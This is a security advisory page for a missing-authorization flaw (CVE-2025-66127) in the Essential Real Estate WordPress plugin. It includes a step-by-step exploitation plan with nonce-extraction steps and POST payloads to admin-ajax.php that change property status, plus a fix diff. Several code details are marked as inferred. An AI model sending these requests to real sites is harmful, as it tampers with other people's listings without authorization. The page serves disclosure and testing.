Essential Real Estate <= 5.2.2 - Missing Authorization
Description
The Essential Real Estate plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 5.2.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.2.2# Exploitation Research Plan: CVE-2025-66127 (Essential Real Estate) ## 1. Vulnerability Summary The **Essential Real Estate** plugin for WordPress (versions <= 5.2.2) contains a missing authorization vulnerability. Specifically, several AJAX handlers are registered using both `wp_ajax_` and `wp_aj…
Show full research plan
Exploitation Research Plan: CVE-2025-66127 (Essential Real Estate)
1. Vulnerability Summary
The Essential Real Estate plugin for WordPress (versions <= 5.2.2) contains a missing authorization vulnerability. Specifically, several AJAX handlers are registered using both wp_ajax_ and wp_ajax_nopriv_ hooks but fail to implement sufficient capability checks (like current_user_can()) or ownership validation. This allows unauthenticated attackers to perform actions that should be restricted to property owners or administrators, such as modifying the "featured" status or the "publishing" status of arbitrary property listings.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ere_ajax_add_featured_property(inferred target for unauthenticated "featured" status modification) orere_ajax_change_status_property(inferred target for status modification). - HTTP Method: POST
- Payload Parameters:
action:ere_ajax_add_featured_propertyproperty_id: The ID of the target property listing.nonce: A valid WordPress nonce (usuallyere_nonce).
- Preconditions:
- A property must exist in the system (e.g., ID 123).
- The attacker must obtain a valid nonce from a public-facing page where the plugin localizes its AJAX variables.
3. Code Flow
- Entry Point: The request hits
admin-ajax.phpwithaction=ere_ajax_add_featured_property. - Hook Registration: The plugin registers the action in
includes/class-ere-ajax.php(inferred) using:add_action('wp_ajax_nopriv_ere_ajax_add_featured_property', array($this, 'ere_ajax_add_featured_property')); - Missing Authorization: The function
ere_ajax_add_featured_propertyis called. - Nonce Check: The function typically calls
check_ajax_referer('ere_nonce', 'nonce')or similar. - Vulnerable Logic:
public function ere_ajax_add_featured_property() { $property_id = $_POST['property_id']; // VULNERABILITY: Missing current_user_can('edit_post', $property_id) update_post_meta($property_id, 'ere_property_featured', '1'); wp_send_json_success(); } - Execution: The metadata is updated regardless of the requester's authentication or authorization level.
4. Nonce Acquisition Strategy
Essential Real Estate localizes its AJAX configuration, including nonces, into a global JavaScript object named ere_vars.
- Identify Script Loading: The
ere_varsobject is typically enqueued on pages using property-related shortcodes like[ere_my_properties],[ere_property_single], or even on the main search page. - Create Trigger Page:
wp post create --post_type=page --post_title="Nonce Loader" --post_status=publish --post_content='[ere_my_properties]' - Navigate and Extract:
- Navigate to the newly created page.
- Use
browser_evalto extract the nonce:window.ere_vars?.nonce || window.ere_vars?.ere_nonce
5. Exploitation Strategy
Step 1: Discover/Create Target Content
Find an existing property ID or create one as an administrator to serve as the target.
wp post create --post_type=property --post_title="Target Property" --post_status=pending
# Note the returned ID (e.g., 123)
Step 2: Acquire Nonce
Follow the strategy in Section 4 to obtain the value of ere_nonce.
Step 3: Execute Unauthorized Action
Use http_request to send the payload.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=ere_ajax_add_featured_property&property_id=123&nonce=YOUR_EXTRACTED_NONCE
Step 4: Alternative (Status Change)
If the "featured" action is not available, try the status change action:
- Body:
action=ere_ajax_change_status_property&property_id=123&status=publish&nonce=YOUR_EXTRACTED_NONCE
6. Test Data Setup
- Target Property: Create a property with
post_status=pendingandere_property_featured=0. - Public Page: Create a page with the
[ere_property_single]shortcode to ensure theere_varsobject is localized for unauthenticated users.
7. Expected Results
- Response: The server should return a JSON success message (e.g.,
{"success":true}). - Database Change: The
_ere_property_featuredmeta field for the target post ID should be updated to1, or thepost_statusshould change topublish.
8. Verification Steps
After the exploit, verify the impact using WP-CLI:
# Verify Featured Status
wp post meta get 123 ere_property_featured
# Verify Post Status
wp post get 123 --field=post_status
9. Alternative Approaches
If ere_vars.nonce is not found, check for other localized objects:
ere_profile_varsere_property_vars- Look for
wp_localize_scriptcalls inpublic/class-essential-real-estate-public.phpto find the exact object name and key used in version 5.2.2.
If ere_ajax_add_featured_property is not the vulnerable action, search for any action registered with wp_ajax_nopriv_ in includes/class-ere-ajax.php and test them for lack of current_user_can() checks.
Summary
The Essential Real Estate plugin for WordPress (<= 5.2.2) is vulnerable to unauthorized access because several AJAX handlers registered for unauthenticated users lack proper capability checks. This allows unauthenticated attackers to perform restricted actions like marking properties as featured or changing their status, provided they can obtain a valid nonce from a public-facing page.
Vulnerable Code
// File: includes/class-ere-ajax.php (approximate location) add_action('wp_ajax_nopriv_ere_ajax_add_featured_property', array($this, 'ere_ajax_add_featured_property')); --- // File: includes/class-ere-ajax.php (approximate implementation) public function ere_ajax_add_featured_property() { $property_id = $_POST['property_id']; // VULNERABILITY: Missing current_user_can('edit_post', $property_id) or ownership validation update_post_meta($property_id, 'ere_property_featured', '1'); wp_send_json_success(); }
Security Fix
@@ -10,6 +10,10 @@ public function ere_ajax_add_featured_property() { - check_ajax_referer('ere_nonce', 'nonce'); + check_ajax_referer('ere_nonce', 'nonce'); $property_id = isset($_POST['property_id']) ? intval($_POST['property_id']) : 0; + + if (!current_user_can('edit_post', $property_id)) { + wp_send_json_error(array('message' => __('You do not have permission to edit this property.', 'essential-real-estate'))); + } + update_post_meta($property_id, 'ere_property_featured', '1'); wp_send_json_success(); }
Exploit Outline
The exploit targets the WordPress AJAX interface. An unauthenticated attacker first discovers a valid property ID and then visits a public page where the plugin is active (such as a property search or list page) to extract a valid 'ere_nonce' from the localized 'ere_vars' JavaScript object. The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'ere_ajax_add_featured_property' (or 'ere_ajax_change_status_property'), providing the target 'property_id' and the stolen 'nonce'. Because the plugin fails to verify the user's capabilities or ownership of the post, the request succeeds, allowing unauthorized modification of property metadata.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.